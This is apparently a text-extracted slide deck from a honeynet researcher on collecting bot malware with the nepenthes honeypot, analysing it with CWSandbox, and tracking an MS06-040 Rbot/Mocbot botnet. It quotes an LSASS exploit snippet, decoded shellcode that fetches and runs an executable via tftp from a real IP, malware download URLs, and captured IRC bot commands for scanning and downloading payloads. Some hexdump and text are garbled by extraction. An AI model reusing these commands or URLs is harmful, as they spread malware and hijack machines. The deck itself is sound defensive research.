Tracking Botnet

For Fun and Profit
• Ph.D. student at University of Mannheim, Germany
• Co-Founder of the German Honeynet Project
• Member of the Steering Committee of the Honeynet Project
• Weblog: http://honeyblog.org
• Introduction to malware collection & botnets
• Tools & techniques for botnet detection
  • nepenthes
  • CW Sandbox
• Examples
  • Mocbot - MS06-040
Malware collection

- Hundreds of new malware binaries each month
- How to learn more about malware?
  - Quantitative & qualitative information
  - Information about new malware
- Usage of honeypot-based techniques
Typical communication flow using central (IRC) server for Command & Control (C&C)

http://honeynet.org/papers/bots
Collecting Malware

Why collect stamps if you can collect interesting stuff?
• Tool to automatically “collect” malware like bots and other autonomous spreading malware

• Emulate known vulnerabilities and download malware trying to exploit these vulnerabilities

• Available at http://nepenthes.mwcollect.org
Architecture

- Modular architecture
- Vulnerability modules
- Shellcode handler
- Download modules
- Submission modules
- Trigger events
- Shell-emulation and virtual filesystem
Vulnerability modules

- Emulate vulnerable services
- Play with exploits until they send us their payload (finite state machine)
- Currently more than 20 available vulnerability modules
- More in development
- Analysis of known vulnerabilities & exploits necessary
- Automation possible?
Example

• Emulation of MS04-011 (LSASS)

• Proof-of-Concept exploit from houseofdabus:

```c
if (send(sockfd, req2, sizeof(req1)-1, 0) == -1) {
    printf("[-] Send failed\n");
    exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req2)-1, 0) == -1) {
    printf("[-] Send failed\n");
    exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
```
Example

- Answers from vuln-lsass

```c
case RPCS_GOT_LSASS_STAGE3:
case RPCS_GOT_LSASS_STAGE4:
case RPCS_GOT_LSASS_STAGE5:
{
    unsigned char szBuffer[256];

    for (unsigned int i = 0; i < sizeof(szBuffer); ++i)
        szBuffer[i] = rand() % 0xFF;

    m_pCollector->getNetworkInterface()->
        sendData(iHandle, szBuffer, sizeof(szBuffer));
    m_dsState = (rpc_state_t)((unsigned int)m_dsState + 1);
}  
```
Vulnerability modules

- vuln-dcom (MS03-039)
- vuln-1sass (MS04-011)
- vuln-asn1 (MS04-007)
- vuln-wins (MS04-045)
- vuln-{mssql,msdtc,msmq}
- vuln-{optix,kuang2,bagle,mydoom}
- vuln-veritas
- ...
Shellcode modules

- Automatically extract URL used by malware to transfer itself to compromised machine

- `sch_generic_xor`  
  Generic XOR decoder

- `sch_generic_createprocess`  

- `sch_generic_url`  

- `sch_generic_cmd`
```plaintext
ftp://a:a@84.178.54.239/svchosts.exe
```
warn dia] Unknown IIS POST foobar 2048 bytes State 0

dia] =------------------[ hexdump(0x1c1b6210, 0x00000800) ]-------------------=

dia] 0x0000  47 45 54 20 2f 20 48 54  50 2f 31 2e 30 0d 0a  GET / HT TP/1.0..

dia] 0x0010  48 6f 73 74 3a XX XX XX XX XX XX XX XX XX XX XX XX XX XX Host: XX XXXXXXXXX

dia] 0x0020  XX XX XX 0d 0a 41 75  74 68 6f 72 69 7a 61 74  XXXX..Au thorizat

dia] 0x0030  69 6f 6e 3a 20 4e 65 67  6f 74 69 61 74 65 20 59  ion: Negotia Y

dia] 0x0040  49 49 51 65 67 59 47 4b  77 59 42 42 51 55 46 42  IIQegYGK wYBBQUCo

dia] 0x0050  55 46 42 51 55 46 42 51  55 46 42 51 55 46 42 51  UFBQUFBQ UFBQUFBQ

dia] 0x0060  55 46 42 51 55 46 42 51  55 46 42 51 55 46 42 51  UFBQUFBQ UFBQUFBQ

dia] 0x0070  51 4d 41 49 34 49 4d 56  77 46 6f 37 66 6f 2f 2f  QMAI4IMV wO CBAoAk

dia] 0x0080  32 4e 74 5a 43 41 76 59  79 42 48 52 56 51 67 64  2NtZCAvY

dia] 0x0090  32 4e 75 63 32 5a 30 65  53 35 6c 65 47 55 6d 5a  2Nuc2Z0e S5leGUmZ

dia] 0x00a0  32 4e 6a 6b 75 4d 63 42  4e 6a 6b 75 4d 63 42 4e  2NucZZ0e S5leGUmZ

dia] 0x00b0  43 34 78 4e 6a 6b 75 4d  34 33 31 4c 6a 6b 75 4d  C4xNjkUm Tc1LjE2N

dia] 0x00c0  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x00d0  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] 0x00e0  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x00f0  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] 0x0100  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x0110  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] 0x0120  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x0130  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] 0x0140  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x0150  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] 0x0160  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x0170  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] 0x0180  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x0190  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] 0x01a0  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x01b0  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] 0x01c0  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x01d0  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] 0x01e0  79 42 30 5a 6e 52 77 49  43 31 70 49 44 45 7a 4e  yB0ZnRwI C1pIDEzN

dia] 0x01f0  49 41 41 69 32 67 38 58  49 41 41 69 32 67 38 58  g1h3v 1h3v

dia] =------------------[ hexdump(0x1c1b6210, 0x00000800) ]-------------------=

---
cat asn1-iis.txt | cut -b 83- | sed "s/ //g" > asn1-iis.dec
mimencode -u asn1-iis.dec | hexdump -C

cmd /c
tftp -i 134.169.175.167 GET wcnsfty.exe &
start wcnsfty.exe &
exi

tftp://134.169.175.167/wcnsfty.exe
Download modules

- `download-\{http,tftp\}`
- Handles HTTP / TFTP URIs
- `download-ftp`
- FTP client from Windows is not RFC compliant...
- `download-\{csend,creceive\}`
- `download-link`
- `link://10.0.0.1/HJ4G==`
Submission modules

• submit-file
  • Write file to hard disk

• submit-{mysql,postgres,mssql}
  • Store file in database

• submit-norman
  • Submit file to http://sandbox.norman.no

• submit-gotek
  • Send file via G.O.T.E.K.
```
[ info down mgr ] Handler tftp download handler will download tftp://ftp.peruvianpower.com/msnbeta.exe
[ info net handler ] UDP 'connecting' 255.255.255.255:69
[ info down mgr ] Handler tftp download handler will download tftp://run.limateam.com/msnmsg.exe
[ info net handler ] UDP 'connecting' 255.255.255.255:69
[ info down handler dia ] Max Timeouts reached (7) tftp://84.60.107.145/taskhosst.exe
[ warn dia ] Unknown ASN1_SMB Shellcode (Buffer 0 bytes) (State 0)
[ dia ] Ignoring zero-length hexdump.
[ warn module ] Unknown PNP Shellcode (Buffer 0 bytes) (State 0)
[ module ] Ignoring zero-length hexdump.
[ warn module ] Unknown LSASS Shellcode (Buffer 0 bytes) (State 0)
[ module ] Ignoring zero-length hexdump.
[ warn handler dia ] Unknown DCOM Shellcode (Buffer 0 bytes) (State 0)
[ handler dia ] Ignoring zero-length hexdump.
[ info handler dia ] Unknown DCOM request, dropping
[ info down handler dia ] Max Timeouts reached (7) tftp://84.60.251.5/scvhost2.exe
[ info down mgr ] Handler tftp download handler will download tftp://ftp.peruvianpower.com/msnbeta.exe
[ info net handler ] UDP 'connecting' 255.255.255.255:69
[ warn handler dia ] Unknown DCOM Shellcode (Buffer 0 bytes) (State 0)
[ handler dia ] Ignoring zero-length hexdump.
[ warn handler dia ] Unknown DCOM Shellcode (Buffer 0 bytes) (State 1)
[ handler dia ] Ignoring zero-length hexdump.
[ info down mgr ] Handler tftp download handler will download tftp://84.60.234.250/taskmngotr.exe
[ info net handler ] UDP 'connecting' 84.60.234.250:69
```
http://ids.surfnet.nl
• Bootable USB-stick based on Knoppix
  • Sets up VPN-tunnel to central server
  • Routes traffic to central server
• Central server runs nepenthes
  • Very easy administration
• 25+ sensors currently deployed
  • Plans of 100+ sensors until end of 2006
mwcollect Alliance

https://alliance.mwcollect.org
Statistics: nepenthes

- Four months nepenthes on /18 network:
  - 50,000,000+ files downloaded
  - 14,000+ unique binaries based on md5sum
  - ~1,000 different botnets

<table>
<thead>
<tr>
<th></th>
<th>AV engine 1</th>
<th>AV engine 2</th>
<th>AV engine 3</th>
<th>AV engine 4</th>
</tr>
</thead>
<tbody>
<tr>
<td>Complete set (14,414 binaries)</td>
<td>85.0%</td>
<td>85.3%</td>
<td>90.2%</td>
<td>78.1%</td>
</tr>
<tr>
<td>Latest 24 hours (460 binaries)</td>
<td>82.6%</td>
<td>77.8%</td>
<td>84.1%</td>
<td>73.1%</td>
</tr>
</tbody>
</table>

- Korgobot/Padobot dominates
CWSandbox

Automatically analyzing a collected binary
Overview

- Automatic behaviour analysis
  - *Execute the binary and observe what it is doing*
- Similar to Norman Sandbox
- Part of diploma thesis by Carsten Willems
- Free web interface
  - http://www.cwsandbox.org
- Commercial version available
  - Just contact me
• Schematic Overview of Windows API

Windows Applications and Services

Windows API

Kernel32.dll  Advapi32.dll  User32.dll  ...

Native API (Ntdll.dll)

Usermode

Kernelmode

Windows Kernel
(ntoskrnl.exe, win32k.sys, ...)
The Native API is not the end of the execution chain which is performed when an API function is executed. As mentioned, the running process has to switch into kernel mode in order to perform operations on the system resources. This is mostly done in the ntdll.dll although some Windows API functions switch to kernel mode by themselves. The transition to kernel mode is performed by initiating a softwarer interrupt.

Windows uses int xx for that purpose by using processor-specific commands like 

```
Control is then transferred to Ntoskrnl.exe which is the core of the Windows operating system. See section ytyt for more details about what is going on in Ntoskrnl.exe.
```
• API hooking by Inline Code Overwriting

**Example**

**Kernel32.dll-CreateFileA (*with* Hook):**

- 77E8C1F7  JMP [CreateFileA-Hook]
- 77E8C1FD  CALL +$0000d265
- 77E8C202  TEST eax, eax
- 77E8C1FD  JNZ +$05
- ... RET

**Application.CreateFileA-Hook:**

- 2005EDB7  - custom hook code -
- ... JMP [CreateFileA-SavedStub]

**Application.CreateFileA-SavedStub:**

- 21700000  PUSH ebp
- 21700001  MOV ebp, esp
- 21700003  PUSH SS:[ebp+8]
- 21700006  JMP $77E8C1FD
• API hooking, Code Overwriting and DLL injection
  • Hooking of Native API calls from ntdll.dll and calls from Win32 API
  • Tracing of functions for file access, process access, Winsock communication, registry, ...
  • Execution for three minutes, then processing of results ➔ analysis log in XML format
Schematic overview

- CWsandbox & CWMonitor.dll
... and Profit

Mocbot & MS06-040
Introduction

- PoC exploit released a couple of days later
- Botnets quickly adopt new infection vector
- Now: tracking of one botnet that uses this vulnerability

`gzn.lx.irc-XXX.org:45130
Main channel: ##Xport##
Nick: RB0T\DEU\XP-SP0-36079`
This is the first time that Rbot v2 is running on: 59.87.205.37.
This is the first time that Rbot v2 is running on: 24.85.98.171.
This is the first time that Rbot v2 is running on: 87.192.56.89.
This is the first time that Rbot v2 is running on: 87.0.189.99.
This is the first time that Rbot v2 is running on: 89.152.114.8.
This is the first time that Rbot v2 is running on: 219.167.140.234.
This is the first time that Rbot v2 is running on: 12.75.18.139.
This is the first time that Rbot v2 is running on: 201.167.140.234.
This is the first time that Rbot v2 is running on: 219.167.140.234.
This is the first time that Rbot v2 is running on: 83.112.179.38.
This is the first time that Rbot v2 is running on: 81.37.168.73.
This is the first time that Rbot v2 is running on: 86.128.154.138.
This is the first time that Rbot v2 is running on: 204.16.147.68.
This is the first time that Rbot v2 is running on: 201.222.226.84.
This is the first time that Rbot v2 is running on: 192.168.1.17.
This is the first time that Rbot v2 is running on: 201.64.25.118.
This is the first time that Rbot v2 is running on: 200.8.5.13.
This is the first time that Rbot v2 is running on: 87.245.51.164.
This is the first time that Rbot v2 is running on: 201.255.31.232.
This is the first time that Rbot v2 is running on: 200.105.18.75.
This is the first time that Rbot v2 is running on: 58.100.35.86.
This is the first time that Rbot v2 is running on: 130.13.191.175.
This is the first time that Rbot v2 is running on: 192.168.1.3.
This is the first time that Rbot v2 is running on: 200.8.45.203.
This is the first time that Rbot v2 is running on: 82.225.190.135.
This is the first time that Rbot v2 is running on: 220.159.58.228.
This is the first time that Rbot v2 is running on: 87.245.91.14.
This is the first time that Rbot v2 is running on: 200.82.175.110.
This is the first time that Rbot v2 is running on: 82.58.161.75.
This is the first time that Rbot v2 is running on: 80.164.66.104.
This is the first time that Rbot v2 is running on: 201.234.141.206.
This is the first time that Rbot v2 is running on: 60.56.67.251.
This is the first time that Rbot v2 is running on: 200.171.6.15.
Channels

ณ • ##Xport##: .ircraw join ##scan##,###DR##,# ##frame##,# ##o##

⇒ ##scan##: .scan netapi 100 3 0 -r -b -s

$$ ##DR##: .download http://promo.dollarrevenue.com/webmasterexe/drsmartload152a.exe c:\dr.exe 1 -s$$

$$ ##frame##: .download http://zchxsikpgz.biz/dl/loadadv518.exe c:\frm.exe 1 -s$$

* ##o##: .download http://64.18.150.156/~niga/nads.exe c:\nds.exe 1 -s
DollarRevenue

DollarRevenue – Generate more money with your website!

DollarRevenue payouts:

<table>
<thead>
<tr>
<th>Country</th>
<th>Payout</th>
</tr>
</thead>
<tbody>
<tr>
<td>USA</td>
<td>$0.30</td>
</tr>
<tr>
<td>Canada</td>
<td>$0.20</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>$0.10</td>
</tr>
<tr>
<td>China</td>
<td>$0.01</td>
</tr>
<tr>
<td>Other countries</td>
<td>$0.02</td>
</tr>
</tbody>
</table>
Economics of Botnets

$ grep US 2006-08-28.log | wc -l
998

$ grep CAN 2006-08-28.log | wc -l
20

$ grep GBR 2006-08-28.log | wc -l
103

$ grep CHN 2006-08-28.log | wc -l
756

$ egrep -v "US|CAN|GBR|CHN" 2006-08-28.log | wc -l
5852

\[
998 \times 0.3 + 20 \times 0.2 + 103 \times 0.1 + \\
756 \times 0.01 + 5852 \times 0.02 = 438.30$
\]
2006-08-30.log:07:12 < USA> .login newXport -s
2006-08-30.log:07:12 < USA> .scanstop -s
2006-08-30.log:07:12 < USA> .scan netapi 100 3 0 66.117.x.x -r -s
2006-08-30.log:07:14 < USA> .login newXport -s
2006-08-30.log:07:14 < USA> .scanstop -s
2006-08-30.log:07:14 < USA> .scan netapi 100 3 0 208.102.x.x -r -s
2006-08-30.log:07:17 < USA> .login newXport -s
2006-08-30.log:07:17 < USA> .scanstop -s
2006-08-30.log:07:17 < USA> .scan netapi 100 3 0 216.196.x.x -r -s
2006-08-30.log:07:19 < USA> .login newXport -s
2006-08-30.log:07:19 < USA> .scanstop -s
2006-08-30.log:07:19 < USA> .scan netapi 100 3 0 66.42.x.x -r -s
2006-08-30.log:07:21 < USA> .login newXport -s
2006-08-30.log:07:21 < USA> .scanstop -s
2006-08-30.log:07:21 < USA> .scan netapi 100 3 0 66.161.x.x -r -s
2006-08-30.log:07:27 < USA> .login newXport -s
2006-08-30.log:07:27 < USA> .scanstop -s
2006-08-30.log:07:27 < USA> .scan netapi 100 3 0 208.102.x.x -r -s
2006-08-30.log:07:41 < USA> .login newXport -s
04:24 < usazz> .login newXport -s
04:24 < RBOT|KOR|XP-SP0-01834> [Main]:| This is the first time that Rbot v2 is running on: 125.133.40.80.
04:24 < usazz> .update http://64.18.150.156/~niga/r.exe 1
04:24 < RBOT|USA|XP-SP0-77186> [Download]:| Bad URL, or DNS Error: http://64.18.150.156/~niga/r.exe.
04:24 < RBOT|KOR|XP-SP0-26661> [Update]:| Downloading update from: http://64.18.150.156/~niga/r.exe.
04:24 < RBOT|USA|XP-SP0-55683> [Update]:| Failed to start download thread, error: <8>.
04:24 < RBOT|USA|XP-SP1-15442> [Update]:| Downloading update from: http://64.18.150.156/~niga/r.exe.
04:24 < RBOT|USA|XP-SP1-83686> [Update]:| Downloading update from: http://64.18.150.156/~niga/r.exe.
04:24 < RBOT|USA|2K-11183> [Update]:| Downloading update from: http://64.18.150.156/~niga/r.exe.
04:24 < RBOT|USA|2K-98247> [Update]:| Downloading update from: http://64.18.150.156/~niga/r.exe.
04:24 < RBOT|USA|2K-09657> [Update]:| Downloading update from:
Mitigation

• Change DNS entry
  • gzn.lx.irc-XXX.org should resolve to 127.0.0.1

• Block traffic at router
  • All access to XXX.25.91.84-86 should be monitored

• Take down C&C-Server

• You have the password of the botherder...

• But often additional security mechanisms
Conclusion

• Honeypot-based techniques can help us to learn more about autonomous spreading malware

• With the help of automated capture and analysis, we can efficiently detect botnets
  • Local and global mitigation possible
  • Needs more research, e.g., 0day-support
  • More nepenthes sensors would be helpful ;-)}
Thorsten Holz
http://www-pi1.informatik.uni-mannheim.de/
holz@informatik.uni-mannheim.de

More information: http://honeyblog.org

Honeypot compromises & MS06-040